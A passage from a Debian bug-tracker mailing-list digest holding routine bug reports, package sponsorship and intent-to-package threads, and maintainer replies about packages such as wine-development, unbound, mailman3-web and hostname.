wrong for Debian teams to internalize such communication.


Kind regards,

 - Jonas

-- 
 * Jonas Smedegaard - idealist & Internet-arkitekt
 * Tlf.: +45 40843136  Website: http://dr.jones.dk/

 [x] quote me freely  [ ] ask before reusing  [ ] keep private

signature.asc
Description: signature

Bug#1010269: crashes immediately at start

[VA]

Package: wine-development
Version: 6.23~repack-1

Whenever I run any wine-development command, for example 
`wine-development winecfg`, even in a new, empty, WINEPREFIX, I get a 
crash immediately:


% wine-development winecfg
err:environ:read_nls_file failed to load 10/0
zsh: segmentation fault  wine-development winecfg

with more verbose logging:

% WINEDEBUG=+all wine-development winecfg
err:environ:read_nls_file failed to load 10/0
trace:virtual:NtAllocateVirtualMemory 0x 0x7ffe 1000 
3000 0002

trace:virtual:dump_view View: 0x7ffe - 0x7ffe0fff (valloc)
trace:virtual:dump_view   0x7ffe - 0x7ffe0fff c-r--
trace:virtual:NtAllocateVirtualMemory 0x (nil) 0020 102000 
0004

trace:virtual:map_view got mem in reserved area 0x3fe0-0x4000
trace:virtual:dump_view View: 0x3fe0 - 0x3fff (valloc)
trace:virtual:dump_view   0x3fe0 - 0x3fff --rw-
trace:virtual:NtAllocateVirtualMemory 0x 0x3ffe 0002 
1000 0004

trace:virtual:dump_view View: 0x3fe0 - 0x3fff (valloc)
trace:virtual:dump_view   0x3fe0 - 0x3ffd --rw-
trace:virtual:dump_view   0x3ffe - 0x3fff c-rw-
sock_init: shutdown() causes EOF
wineserver: starting (pid=1315093)
0020: *fd* 02e1 -> 23
0024: *fd* 7 <- 23
0024: *fd* 9 <- 24
0024: init_first_thread( unix_pid=1315091, unix_tid=1315091, 
debug_level=1, reply_fd=7, wait_fd=9 )
0024: init_first_thread() = 0 { pid=0020, tid=0024, 
server_start=1d85a3ae26eac84 (-0.630), session_id=0001, 
info_size=0, machines={8664,014c} }
0024: open_mapping( access=000f001f, attributes=, rootdir=, 
name=L"\\KernelObjects\\__wine_user_shared_data" )

0024: open_mapping() = 0 { handle=0004 }
0024: get_handle_fd( handle=0004 )
0024: *fd* 0004 -> 20
0024: get_handle_fd() = 0 { type=1, cacheable=1, access=000f001f, 
options=0020 }

0024: close_handle( handle=0004 )
0024: close_handle() = 0
3189712.026:0020:0024:trace:ntdll:init_cpu_info <- CPU arch 0, level 23, 
rev 28928, features 0xebf9bfff
3189712.026:0020:0024:trace:ntdll:NtQueryInformationToken 
(0xfffa,1,0xffc6efd4,76,0xffc6efb0)

0024: get_token_sid( handle=fffa, which_sid=0001 )
0024: get_token_sid() = 0 { sid_len=28, sid={S-1-5-21-0-0-0-1000} }
3189712.027:0020:0024:trace:reg:NtCreateKey 
((nil),L"\\Registry\\User\\S-1-5-21-0-0-0-1000\\Software\\Wine",,0,f003f,0xffc6f360)
0024: create_key( access=000f003f, options=, 
objattr={rootdir=,attributes=0040,sd={},name=L"\\Registry\\User\\S-1-5-21-0-0-0-1000\\Software\\Wine"}, 
class=L"" )

0024: create_key() = OBJECT_NAME_NOT_FOUND { hkey=, created=0 }
3189712.027:0020:0024:trace:reg:NtCreateKey <- (nil)
3189712.027:0020:0024:trace:file:find_drive_rootA "/tmp/plop-262610" -> 
drive Z:, root="/", name="/tmp/plop-262610"

0024: *killed* exit_code=0
zsh: segmentation fault  WINEDEBUG=+all wine-development winecfg

Bug#1010270: Recent update break xterm

[Klaus Ethgen]

Package: libtinfo5
Version: 6.3+20220423-1
Severity: normal

Since the last update of this package, applications running inside of
xterm are not always able to update the window title.

Instead, control output are breaking the layout of the application.

Broken Applications:
- mutt
- cmus

Still working:
- zsh

-- System Information:
Debian Release: bookworm/sid
  APT prefers experimental
  APT policy: (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.16.17 (SMP w/8 CPU threads)
Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_FIRMWARE_WORKAROUND, 
TAINT_OOT_MODULE
Locale: LANG=C, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages libtinfo5 depends on:
ii  libc6  2.33-7

libtinfo5 recommends no packages.

libtinfo5 suggests no packages.

-- no debconf information

-- 
Klaus Ethgen   http://www.ethgen.ch/
pub  4096R/4E20AF1C 2011-05-16Klaus Ethgen 
Fingerprint: 85D4 CA42 952C 949B 1753  62B3 79D0 B06F 4E20 AF1C


signature.asc
Description: PGP signature

Bug#1010262: RFS: wifi-qr/0.2-2 -- WiFi Share and Connect with QR

[Ko Ko Ye`]

Dear Bastian


Thanks for reminding  #989034
Update and fix.

Unrelease to  unstable

On Wed, Apr 27, 2022 at 6:15 PM Bastian Germann  wrote:

> Control: tags -1 moreinfo
>
> You have to target unstable or experimental.
>
> For the new patch: Please fill the DEP-3 template or remove lines that you
> do not want to use.
>
> What about bug #989034? Please fix this.
>
> When you are done, please untag moreinfo.
>
>

-- 

with regards *Ko Ko Ye` *


kokoye2...@gmail.com
kokoye2...@ubuntu.com

https://www.linkedin.com/in/kokoye2007
https://ubuntu-mm.net
https://kokoye2007.github.io

Bug#996965: CSS help needed for r-cran-bslib (Was: shiny-server in debian)

[Nilesh Patra]

On Wed, Apr 27, 2022 at 03:22:59PM +0200, Andreas Tille wrote:
> Thanks a lot for your help on this (deserves another $drink from me ;-) )

This count is increasing with each passing day :)

> Those three failing tests are patched out now.

Fine
 
> > BTW please repack all the minified files and minify them during the build 
> > using terser[1] or something similar
> 
> I tried to repack[2] but I get
> 
> r-cran-bslib/debian/missing_source/bs5(master) $ terser --compress --mangle 
> -- bootstrap.bundle.js
> 
> /usr/share/nodejs/terser/bin/terser:153
> if (~opts.rawArgs.indexOf("--rename")) {
   ^

Um, weird.
It works fine for me (checked on a clean system in a chroot), are you using 
terser provided by "uglifyjs.terser"?
Can you try running

$ terser --compress --mangle -o bootstrap.bundle.min.js bootstrap.bundle.js
$ ls
bootstrap.bundle.js  bootstrap.bundle.min.js  get

Alternatively, you can also use uglifyjs[3]

> > [1]: https://tracker.debian.org/pkg/node-terser
> [2] 
> https://salsa.debian.org/r-pkg-team/r-cran-bslib/-/tree/master/debian/missing_source/bs5
[3]: https://tracker.debian.org/pkg/uglifyjs

Regards
Nilesh


signature.asc
Description: PGP signature

Bug#1010271: unbound-control: Please use unix socket as default control-interface

[ceddral]

Package: unbound
Version: 1.15.0-4
Severity: normal
X-Debbugs-Cc: debian...@ceddral.org

Dear Maintainer,

unbound package upgrade introduced a default config to enable remote-control
via tcp socket. Please change the default config to use a unix socket and avoid
the attack surface of a tcp socket with ssl authentication. e.g.:
remote-control:
control-enable: yes
control-interface: /var/lib/unbound/control.socket

Cheers
ceddral


-- System Information:
Debian Release: bookworm/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.16.0-3-amd64 (SMP w/8 CPU threads; PREEMPT)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages unbound depends on:
ii  adduser  3.121
ii  init-system-helpers  1.62
ii  libc62.33-7
ii  libevent-2.1-7   2.1.12-stable-5
ii  libnghttp2-141.43.0-1
ii  libprotobuf-c1   1.3.3-1+b2
ii  libpython3.103.10.4-3
ii  libssl1.11.1.1n-1
ii  libsystemd0  250.4-1
ii  lsb-base 11.1.0

Versions of packages unbound recommends:
ii  dns-root-data  2021011101
ii  openssl1.1.1n-1

Versions of packages unbound suggests:
pn  apparmor  

-- Configuration Files:
/etc/unbound/unbound.conf changed [not included]

-- no debconf information

Bug#1010256: ITP: rust-ahash -- non-cryptographic hash function

[James McCoy]

On Wed, Apr 27, 2022, 09:36 Jonas Smedegaard  wrote:

> Hi James,
>
> Quoting James McCoy (2022-04-27 15:05:54)
> > On Wed, Apr 27, 2022 at 10:36:54AM +0200, Jonas Smedegaard wrote:
> > > * Package name: rust-ahash
> > >   Version : 0.7.6
> > >   Upstream Author : Tom Kaitchuck 
> > > * URL : https://github.com/tkaitchuck/ahash
> > > * License : Apache-2.0 or Expat
> > >   Programming Lang: Rust
> > >   Description : non-cryptographic hash function
> > >
> > >  AHash is the fastest, DOS resistant hash currently available in Rust.
> > >  AHash is intended *exclusively* for use in in-memory hashmaps.
> > >  .
> > >  AHash's output is of high quality
> > >  but aHash is **not** a cryptographically secure hash.
> > >
> > > This package is needed by ITP packages atomic-data-rust and fractal.
> > > It will be maintained in the collaborative debian section at salsa,
> > > here: https://salsa.debian.org/debian/rust-ahash
> >
> > This was already being worked on in debcargo-conf[0][1].  Is there a
> > particular reason this wasn't coordinated with the rust team?
>
> Uhm, the very thing you replied to *is* my communication about this.
>

Communication is different from coordination. There was already in progress
packaging.  Instead of working with us to get that accepted, you've
announced that you're taking over the package and maintaining it elsewhere
from the bulk of the rust packages.

Bug#1010262:

[Ko Ko Ye`]

tags 1010262 - moreinfo

---

Description: WiFi password share through QR code
 WiFi SSID and Password through QR Code.
 Generate QR Code of WiFi Network and password.
 Scan QR Codes and Easily Connect to WiFi Networks.
 .
 For Android, OS version 10 and above is support
 WiFi Password Share and Scan via QR Code.
 Also Mobile Hotspot Password can generate QR Code.
 .
 For iOS, Shortcut app is support Generate Wi-Fi QR.
 .
 WiFi-QR work with QR Scan File or Image and Connect to
 WiFi Network. Share or Scan your WiFi Password via QR.

-- 

with regards *Ko Ko Ye` *

Bug#1010256: ITP: rust-ahash -- non-cryptographic hash function

[Jonas Smedegaard]

Quoting James McCoy (2022-04-27 15:55:34)
> On Wed, Apr 27, 2022, 09:36 Jonas Smedegaard  wrote:
> > Quoting James McCoy (2022-04-27 15:05:54)
> > > On Wed, Apr 27, 2022 at 10:36:54AM +0200, Jonas Smedegaard wrote:
> > > > * Package name: rust-ahash
> > > >   Version : 0.7.6
> > > >   Upstream Author : Tom Kaitchuck 
> > > > * URL : https://github.com/tkaitchuck/ahash
> > > > * License : Apache-2.0 or Expat
> > > >   Programming Lang: Rust
> > > >   Description : non-cryptographic hash function
> > > >
> > > >  AHash is the fastest, DOS resistant hash currently available in Rust.
> > > >  AHash is intended *exclusively* for use in in-memory hashmaps.
> > > >  .
> > > >  AHash's output is of high quality
> > > >  but aHash is **not** a cryptographically secure hash.
> > > >
> > > > This package is needed by ITP packages atomic-data-rust and fractal.
> > > > It will be maintained in the collaborative debian section at salsa,
> > > > here: https://salsa.debian.org/debian/rust-ahash
> > >
> > > This was already being worked on in debcargo-conf[0][1].  Is there a
> > > particular reason this wasn't coordinated with the rust team?
> >
> > Uhm, the very thing you replied to *is* my communication about this.
> >
> 
> Communication is different from coordination. There was already in 
> progress packaging.  Instead of working with us to get that accepted, 
> you've announced that you're taking over the package and maintaining 
> it elsewhere from the bulk of the rust packages.

Sorry for using the wrong word.

I do not recognize the picture you paint of what has happened here.

What I announced was so-called "intent to package" (not a takeover).

>From my perspective, you failed to coordinate _your_ intent to package 
which lead to this unfortunate situation of duplicate efforts.

Please in future consider filing ITPs to avoid such situations.


 - Jonas

-- 
 * Jonas Smedegaard - idealist & Internet-arkitekt
 * Tlf.: +45 40843136  Website: http://dr.jones.dk/

 [x] quote me freely  [ ] ask before reusing  [ ] keep private

signature.asc
Description: signature

Bug#996965: CSS help needed for r-cran-bslib (Was: shiny-server in debian)

[Andreas Tille]

Hi Nilesh,

Am Wed, Apr 27, 2022 at 07:26:04PM +0530 schrieb Nilesh Patra:
> > Thanks a lot for your help on this (deserves another $drink from me ;-) )
> 
> This count is increasing with each passing day :)

Just giving honor to those whom deserve honor. ;-)
 
> > I tried to repack[2] but I get
> > 
> > r-cran-bslib/debian/missing_source/bs5(master) $ terser --compress --mangle 
> > -- bootstrap.bundle.js
> > 
> > /usr/share/nodejs/terser/bin/terser:153
> > if (~opts.rawArgs.indexOf("--rename")) {
>^
> 
> Um, weird.
> It works fine for me (checked on a clean system in a chroot), are you using 
> terser provided by "uglifyjs.terser"?

No, just terser from unstable.  It works now with uglifyjs.terser (as
per my last commit).  How can I recreate bootstrap.bundle.min.js.map ?

Kind regards

Andreas.

-- 
http://fam-tille.de

Bug#1010266: RFS: base16384/2.2.0-3 [ITP] -- Encode binary files to printable utf16be

[fumiama]

I have sought many articles about closing that ITP bug, but still not sure for 
whether this reply will close #1010055 , please forgive me for this trying 😂.

Bug#996965: CSS help needed for r-cran-bslib (Was: shiny-server in debian)

[Nilesh Patra]

On 27 April 2022 7:41:40 pm IST, Andreas Tille  wrote: 
>> Um, weird.
>> It works fine for me (checked on a clean system in a chroot), are you using 
>> terser provided by "uglifyjs.terser"?
>
>No, just terser from unstable. 

Then maybe you have an older copy. Terser is a virtual package now.

> It works now with uglifyjs.terser (as
>per my last commit).  How can I recreate bootstrap.bundle.min.js.map ?

There should be a source-map option or something similar, you could check the 
manpage/examples once.


Regards,
Nilesh

Bug#1010271: unbound-control: Please use unix socket as default control-interface

[Michael Tokarev]

Control: severity -1 wishlist
Control: tag -1 confirmed

27.04.2022 16:48, ceddral wrote:

Package: unbound
Version: 1.15.0-4
Severity: normal
X-Debbugs-Cc: debian...@ceddral.org

Dear Maintainer,

unbound package upgrade introduced a default config to enable remote-control
via tcp socket.


Can you tell please which version did you upgrade from?
Please note that before, unbound in Debian had a patch
to secretly enable remote-control socket which by default
is tcp. In this release I just made it explicit instead of
doing it secretly.


 Please change the default config to use a unix socket and avoid
the attack surface of a tcp socket with ssl authentication. e.g.:
remote-control:
 control-enable: yes
 control-interface: /var/lib/unbound/control.socket


Actually it was my thought to enable control socket (I'm not
sure /var/lib/unbound is a good place for it, /run sounds
better but I need to check if it works when unbound is
chrooted.

unbound.postinst generates the ssl certificates for quite a
long time, these probably should go away too.  And we'd better
check if unbound-control-setup script does the right thing.

So I thought I'd keep it the way it were for a long time.

And the most important is that it is the upstream default
for control socket. Maybe we should specify it in the
config file the way I did it in this release.

Thanks,

/mjt

Bug#1010262: RFS: wifi-qr/0.2-2 -- WiFi Share and Connect with QR

[Bastian Germann]

Something went wrong. The patch debian/patches/Update-0.2-2-File-Function now 
contains in the description:
"""
 Update Man and Menu Shortcut
 .
 wifi-qr (0.2-2) unstable; urgency=medium
 .
   * Improve Summary. (Closes: #989034)
 ...
Bug-Debian: https://bugs.debian.org/989034
"""

This has nothing to do with the patch.

Why do you patch upstream's README.md with that patch?
If you want to provide additional info, create debian/README.Debian.

Your binary package description has some language mistakes and redundant info. 
I suggest:
Description: WiFi password share via QR codes
 Shares WiFi SSID and password via a QR code.
 Generate a QR code of a WiFi network with its password.
 Scan QR codes and easily connect to WiFi Networks.
 .
 For Android, OS version 10 and above is supported.
 .
 For iOS, the Shortcut app supports generating WiFi QR codes.

Bug#1010266: Re: RFS: base16384/2.2.0-3 [ITP] -- Encode binary files to printable utf16be

[fumiama]

Dear Bastian,

Thanks for your introduction. I have restored the Debian revision to -1 and 
edited the changelog.
Then I sent an email and marked the ITP bug #1010055 as done. Now I would like 
to remove
the moreinfo tag.

Regards,
--
  fumiama

Bug#1010272: Installation Report Debian 11.2

[Max Euer]

Package: installation-reports

Boot method:  DVD
Image version:Debian GNU/Linux 11.2.0 _Bullseye_ - Official amd64 
NETINST 20211218-11:12

Date: 31st Mar 2022

Machine:AMD A4-4000 APU with Radeon(tm) HD Graphics
BIOS: MSI FM2-A75MA-P33
Partitions: 
/dev/sda1 FAT32 - unused
 sda2 FAT16 PCDOS
 sda6 swap
 sda6 swap
 sda7 Debian ext4

Base System Installation Checklist:
[O] = OK, [E] = Error (please elaborate below), [ ] = didn't try it

Initial boot:   [O ]
Detect network card:    [O ]
Configure network:  [O ]
Detect media:   [O ]
Load installer modules: [O ]
Clock/timezone setup:   [O ]
User/password setup:    [E ]
Detect hard drives: [O ]
Partition hard drives:  [E ] Warning: Device 0x0800: Inconsistent 
partition table, 2nd entry

Install base system:    [O ]
Install tasks:  [O ]
Install boot loader:    [O ]
Overall install:    [E ]

Comments/Problems:
1st BOOT AFTER THE INSTALLATION I WAS UNABLE TO LOG IN AS ROOT [WRONG 
PASSWORD]

LOG IN AS A USER DID WORK.
I HAD TO DO A RESCUE REBOOT OR
BOOT WITH KERNEL CMD-LINE root=/dev/sda7 init=/bin/bash rw ,
THEN DO PASSWD , RE-ENTERING THE PASSWORD, AFTER THAT ALL WAS WELL
ONGOING PROBLEM AT LEAST SINCE DEBIAN 8

THERE WAS ANOTHER DIFFICULTY WITH THE VGA CARD: WORDS WERE SHIFTED MUCH 
TOO FAR

TO THE LEFT WHICH COULD NOT BE CORRECTED BY THE MONITOR [ACER].
EVENTUALLY ADDING A KERNEL OPTION append="video=VGA-1:800x600R-16@60"
DID THE TRICK HOWEVER HOW TO PHRASE THAT SENTENCE WAS HARD TO FIND!

--
Max Euer - Oud Lemiers 18 - NL6295AT Lemiers -
T  NL0618403128,D024079539727 - E  euer@googlemail.com

Bug#1006832: RFS: minetest/5.5.0+dfsg+~1.9.0mt4+dfsg-1 -- Multiplayer infinite-world block sandbox

[Bastian Germann]

Control: reopen -1

Bug#1009658: RFS: ncdu/1.16-0.1 [NMU] -- ncurses disk usage viewer

[Santiago Ruano Rincón]

Control: tags 1009658 + pending

El 27/04/22 a las 14:47, Christian Göttsche escribió:
> > I'd prefer to have a more verbose description about what that update on
> > Build-Deps means. This is just a personal preference.
> > Would you like to give a little more detail please?
> 
> Uploaded a new version with a more detailed changelog:
> 
> ncdu (1.16-0.1) unstable; urgency=medium
>  .
>* Non-maintainer upload.
>* New upstream version 1.16 (Closes: #996240)
>* d/control:
>  - update build dependencies
>+ replace transitional libncurses5-dev and libncursesw5-dev by
>  libncurses-dev
>+ add pkg-config for successful autoreconf
>+ drop autotools-dev, default since debhelper compat 10
>  - bump to debhelper compat 13
>  - bump to std-ver 4.6.0 (no further changes)
>  - set Rules-Requires-Root no
>  - use https homepage address
>* d/patches: cherry-pick upstream commits
>  - Add dark-bg color scheme + enable colors by default if !NO_COLOR
>(Closes: #894380)
>  - Make options, keys and file flags bold in man page
>  - dir_scan: fix wrong assumption that errno can only be changed by
>readdir()
>  - dir_scan: call strlen only once
>* d/rules: enable hardening and LTO
>* d/u/metadata: add basic metadata
> 

Uploaded to DELAYED/10.

Thanks for your work!

 -- Santiago


signature.asc
Description: PGP signature

Bug#1010270: Recent update break xterm

[Sven Joachim]

Am 27.04.2022 um 15:45 schrieb Klaus Ethgen:

> Package: libtinfo5
> Version: 6.3+20220423-1
> Severity: normal
>
> Since the last update of this package, applications running inside of
> xterm are not always able to update the window title.
>
> Instead, control output are breaking the layout of the application.
>
> Broken Applications:
> - mutt
> - cmus
>
> Still working:
> - zsh

Can you give steps to reproduce what is broken?  Also, which version of
xterm do you use, and what is the value of the TERM environment
variable?

Cheers,
   Sven

Bug#1010273: mailman3-web: There seems to be a clas between mailman3-web and python3-django-hyperkitty about the /static/ dir

[Peter Gervai]

Package: mailman3-web
Version: 0+20200530-2
Severity: normal

Dear Maintainer,

This was a fresh install, and hyperkitty archive was forever spinning.
Apache was configured according to the official docs. So I have upgraded
from stable to testing (to fix one bug I thought to be related).

It tuned out that there are two separate sets of web-static directories:
- /var/lib/mailman3/web/static (the "wrong" one)
- /usr/share/python3-django-hyperkitty/static/ 

Same goes with posterius and others. The problem is that they _look_ like 
they are okay but have different content, in fact one had 1.xx jquery
while the other had the new 3.6 one, and it caused all kinds of weird
failures on the web interface.

I believe there ought to be only one set of these, and the other,
for whatever purposes it's requird shall be symlinked over.

User error is possible! But I haven't really done anything out of the 
ordinary.


-- System Information:
Debian Release: 11.3
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 5.13.19-3-pve (SMP w/4 CPU threads)
Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_FIRMWARE_WORKAROUND, 
TAINT_OOT_MODULE
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages mailman3-web depends on:
ii  dbconfig-pgsql 2.0.19
ii  dbconfig-sqlite3   2.0.19
ii  debconf [debconf-2.0]  1.5.77
ii  init-system-helpers1.60
ii  lsb-base   11.1.0
ii  python33.9.2-3
ii  python3-django-hyperkitty  1.3.5.0-2
ii  python3-django-postorius   1.3.4-2+deb11u1
ii  python3-psycopg2   2.8.6-2
ii  python3-whoosh 2.7.4+git6-g9134ad92-5
ii  ucf3.0043
ii  uwsgi-core 2.0.19.1-7.1
ii  uwsgi-plugin-python3   2.0.19.1-7.1

Versions of packages mailman3-web recommends:
ii  libapache2-mod-proxy-uwsgi  2.4.53-1~deb11u1

Versions of packages mailman3-web suggests:
ii  postgresql  13+225

-- Configuration Files:
/etc/init.d/mailman3-web changed [not included]
/etc/mailman3/apache.conf changed [not included]
/etc/mailman3/uwsgi.ini changed [not included]

-- debconf information excluded

Bug#1010266: RFS: base16384/2.2.0-3 [ITP] -- Encode binary files to printable utf16be

[Bastian Germann]

Control: reopen 1010055
Control: block 1010055 by -1

On Wed, 27 Apr 2022 22:28:04 +0800 fumi...@foxmail.com wrote:

Dear Bastian,

Thanks for your introduction. I have restored the Debian revision to -1 and 
edited the changelog.
Then I sent an email and marked the ITP bug #1010055 as done. Now I would like 
to remove
the moreinfo tag.


I do not think you want to close the ITP now because that means you are not interested in bringing the package to Debian 
anymore. Therefore I am reopening it.


I see you sent the untag email successfully.

Bug#1010274: hostname(1) man page: -A / --all-fqdns description confuses users

[Vincent Lefevre]

Package: hostname
Version: 3.23
Severity: minor

The -A / --all-fqdns description in the hostname(1) man page confuses
users. For instance:

  https://lists.debian.org/debian-user/2022/04/msg00755.html

It says "Displays all FQDNs of the machine." This should be something
like:

  Displays the FQDNs associated with all configured network interfaces.

And somewhere in the paragraph, add something like:

  Note that this may be different from the FQDN of the machine,
  provided by -f.

Moreover, in the -f / --fqdn / --long description:

  See the warnings in section THE FQDN above und use
  hostname --all-fqdns instead wherever possible.

This is a bad advice! On my laptop (which is on a local network
at home), "hostname -A" just outputs a blank line. In a case like
a local network, there is no point in having a reverse for network
interfaces. On this other hand, "hostname -f" is typically useful
to get the domain part of Message-IDs generated on the machine,
for instance.

-- System Information:
Debian Release: bookworm/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'stable-updates'), (500, 
'stable-security'), (500, 'unstable'), (500, 'testing'), (500, 'stable'), (1, 
'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.17.0-1-amd64 (SMP w/12 CPU threads; PREEMPT)
Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_OOT_MODULE, 
TAINT_UNSIGNED_MODULE
Locale: LANG=POSIX, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages hostname depends on:
ii  libc6  2.33-7

hostname recommends no packages.

hostname suggests no packages.

-- no debconf information

-- 
Vincent Lefèvre  - Web: 
100% accessible validated (X)HTML - Blog: 
Work: CR INRIA - computer arithmetic / AriC project (LIP, ENS-Lyon)

Bug#1010267: ITP: tractor -- Setup an onion routing proxy

[Bo YU]

Hi, Danial:
On Wed, Apr 27, 2022 at 05:33:31PM +0430, Danial Behzadi wrote:

Package: wnpp
Severity: wishlist
Owner: Danial Behzadi 
X-Debbugs-Cc: debian-de...@lists.debian.org

* Package name: tractor
 Version : 3.12
 Upstream Author : Danial Behzadi 
* URL : https://framagit.org/tractor/tractor/
* License : GPL
 Programming Lang: Python
 Description : Setup an onion routing proxy

This package uses Python stem library to provide
a connection through the onion proxy and sets up
proxy in user session, so you don't have to mess
up with TOR on your system anymore.

- I use this package to setup some tor connections in user
  session, quickly turn bridges on/off or setting/unsetting
  tor proxy in my session.
- I will maintain the software and the package for Debian,
  but since I'm not a DD yet, I'll need a sponsor for it.108


If the package is python lang package, i think it would be better
to put it under Debian python team umbrella:

https://wiki.debian.org/Python/GitPackaging

BR,
Bo

Bug#1010275: ITP: rust-bls-dkg -- BLS DKG mechanism

[Jonas Smedegaard]

Package: wnpp
Severity: wishlist
Owner: Jonas Smedegaard 
X-Debbugs-Cc: debian-de...@lists.debian.org

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

* Package name: rust-bls-dkg
  Version : 0.9.2
  Upstream Author : MaidSafe.net limited
* URL : https://github.com/maidsafe/bls_dkg
* License : BSD-3-clause or Expat
  Programming Lang: Rust
  Description : BLS DKG mechanism

 BLS DKG is an implementation of a BLS DKG mechanism,
 requiring signing key, encryption key and SocketAddr of participants.
 .
 A BLS digital signature - also known as Boneh–Lynn–Shacham (BLS) -
 is cryptographic signature scheme
 which allows a user to verify that a signer is authentic.
 .
 Distributed key generation (DKG)
 is a cryptographic process in which multiple parties contribute
 to the calculation of a shared public and private key set.

This package is needed for ITP package safe-network.
It will be maintained in the collaborative debian section of salsa,
here: https://salsa.debian.org/debian/rust-bls-dkg

 - Jonas

-BEGIN PGP SIGNATURE-

iQIzBAEBCgAdFiEEn+Ppw2aRpp/1PMaELHwxRsGgASEFAmJpXpQACgkQLHwxRsGg
ASH+OQ//X7Z6gpOeCVdtXMK5j4kfdRJ4tISHrGfgvE5JirguoHUndZ9vvO/+9/r4
sZiLc2zwX0OFlphV+ldVfT1JQ23Vi2EUUKuUqE8jDNp7sewMDVOx/lqY/HIyAFuF
c8KgBox8bAQ79t0Qms3MBGNNeZa30JiTGNskLTi4r0T7c3nKi9pVEpqWgkjhsi0g
ri2RriRFf66vInl5Bs1+8tBpI/Quajl/rO91B/pwIK3Kb9pnfj15MWPZhOM8agbo
IzbqhEOO8kE44Vc0cVrV/8v6qjXmUHjO57jn9mht9fA8OluNZKYrVEr85PsqQSwT
Gq0iE3a9XHwJJ1ROozBMjmcEMWYb8Vb+QZwap1yU6boMg0NOvqODrA00zyVsicMa
a60pXfKC850xpTUWE+eS5fZf9KlGehrBpJpl0DeRpIoxATd93ZtaITvDlwai0LUW
I6a1L4hvnOQJcXfAoGQzadtcZrssPBJF/ftY2nxpUh0S7LtszjNbzIUROI5jBZVw
cfrOg8xaVTNMQ+qM3TbawV1gHutIcWxdTL84Nq3X8lA1WWyXaOqIshSBIwaaYvR0
0pIaPjNO+YSXQ/jm93etJ2mRAL1aI4IkKjTbhXLPp3nkcKqs68UdA96gOVEkM/O5
+vJbzpHJrSpOIythI0RIXu7rduVfIl2rAWoxcR/O6cV7x4/W0u0=
=7Zvw
-END PGP SIGNATURE-

Bug#1009915: sysvinit: Please align with manpages-l10n and afterwards activate man page translations

[Helge Kreutzmann]

Hello Mark,
On Wed, Apr 27, 2022 at 10:20:47AM +0100, Mark Hindley wrote:
> On Wed, Apr 20, 2022 at 08:39:44PM +0200, Helge Kreutzmann wrote:
> > > I have had a quick look and I think the upstream support for this is still
> > > incomplete. Shouldn't there be a rule for building translated manpages in
> > > man/Makefile?
> > 
> > I did not yet check the details, I just had a quick look. I can check
> > more in detail in the weekend.
> 
> A quick experiment with po4a suggests that running
> 
>  po4a po4a.cfg
> 
> in man/po does build the translated manpages.
> 
> However, there is no makefile rule for that build or subsequent installation
> (which is bizarrely handled in src/Makefile!).
> 
> That seems something to deal with upstream. Helge, could you liaise with Jesse
> to complete that?

I'm not a makefile expert, but I have some experience with po4a and
firends (in makefiles). I'll contact Jesse and see what I (or maybe
Mario, who supported the transfer) can do.

Thanks for checking the state of the files.

Greetings

Helge
-- 
  Dr. Helge Kreutzmann deb...@helgefjell.de
   Dipl.-Phys.   http://www.helgefjell.de/debian.php
64bit GNU powered gpg signed mail preferred
   Help keep free software "libre": http://www.ffii.de/


signature.asc
Description: PGP signature

Bug#1010266: RFS: base16384/2.2.0-3 [ITP] -- Encode binary files to printableutf16be

[fumiama]

Thank you very much! 😂

Bug#1010262: RFS: wifi-qr/0.2-2 -- WiFi Share and Connect with QR

[Ko Ko Ye`]

Thanks for your information.

Now It's changed the Description.
patch is Ignore README file.

BR

On Wed, Apr 27, 2022 at 8:55 PM Bastian Germann  wrote:

> Something went wrong. The patch debian/patches/Update-0.2-2-File-Function
> now contains in the description:
> """
>   Update Man and Menu Shortcut
>   .
>   wifi-qr (0.2-2) unstable; urgency=medium
>   .
> * Improve Summary. (Closes: #989034)
>   ...
> Bug-Debian: https://bugs.debian.org/989034
> """
>
> This has nothing to do with the patch.
>
> Why do you patch upstream's README.md with that patch?
> If you want to provide additional info, create debian/README.Debian.
>
> Your binary package description has some language mistakes and redundant
> info. I suggest:
> Description: WiFi password share via QR codes
>   Shares WiFi SSID and password via a QR code.
>   Generate a QR code of a WiFi network with its password.
>   Scan QR codes and easily connect to WiFi Networks.
>   .
>   For Android, OS version 10 and above is supported.
>   .
>   For iOS, the Shortcut app supports generating WiFi QR codes.
>


-- 

with regards *Ko Ko Ye` *


kokoye2...@gmail.com
kokoye2...@ubuntu.com

https://www.linkedin.com/in/kokoye2007
https://ubuntu-mm.net
https://kokoye2007.github.io

Bug#1010276: parasail: compiles something extra (or less) depending on the CPU features available

[Mattia Rizzolo]

Source: parasail
Version: 2.5+dfsg-3
Severity: serious
User: reproducible-bui...@lists.alioth.debian.org
Usertags: cpu

Hi!

While working on the “reproducible builds” effort [1], we have noticed
that your package "parasail" doesn't build reproducibly.

In fact, it seems that depending on the type of CPU it builds on,
sometimes there are slightly different files.  For example, on an i386
system:
 - usr/lib/i386-linux-gnu/libparasail_novec_table.a
 - usr/lib/i386-linux-gnu/libparasail_sse41_rowcol.a
 - usr/lib/i386-linux-gnu/libparasail_avx2_table.a
